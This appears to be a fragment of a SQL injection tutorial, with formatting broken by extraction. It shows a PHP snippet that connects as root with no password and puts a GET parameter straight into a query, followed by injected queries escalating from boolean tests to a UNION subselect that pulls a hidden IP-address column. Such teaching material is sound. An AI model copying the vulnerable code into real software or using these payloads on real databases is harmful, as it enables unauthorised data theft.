01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
[align=center][align=left]
// connect to localhost as root without a password, luckily 3306 is firewalled…[/align][/align]
[align=center][align=left]
$connection
= mysql_connect(
"localhost"
,
"root"
,
""
);[/align][/align]
[align=center][align=left]mysql_select_db(
$connection
,
"names_api"
);[/align][/align]
[align=center][align=left]
// fetch the record from the table, but since the user’s IP address is secret,[/align][/align]
[align=center][align=left]
// lets only select the name - hackers will now never be able to see this![/align][/align]
[align=center][align=left]
$query
= mysql_query(
"select name from names where id = $_GET['id']"
);[/align][/align]
[align=center][align=left]
// make sure the record was found[/align][/align]
[align=center][align=left]
if
(mysql_num_rows(
$query
) == 1) {[/align][/align]
[align=center][align=left]
$object
= mysql_fetch_assoc(
$query
);[/align][/align]
[align=center][align=left]
// return the name to the user[/align][/align]
[align=center][align=left]
echo
$object
[
'name'
];[/align][/align]
[align=center][align=left]}
|
1
|
select
name
from
names
where
id =
and
|
1
|
select
name
from
names
where
id = 1
and
1=1
|
1
|
select
name
from
names
where
id = 1
and
1=0
|
1
|
select
id,
name
from
names
where
id = 1
union
select
id,
name
from
names
where
id = 2
|
1
|
select
id,
name
from
names
where
id = -1
union
select
0,(
select
ip_address
from
names
where
id=1)
|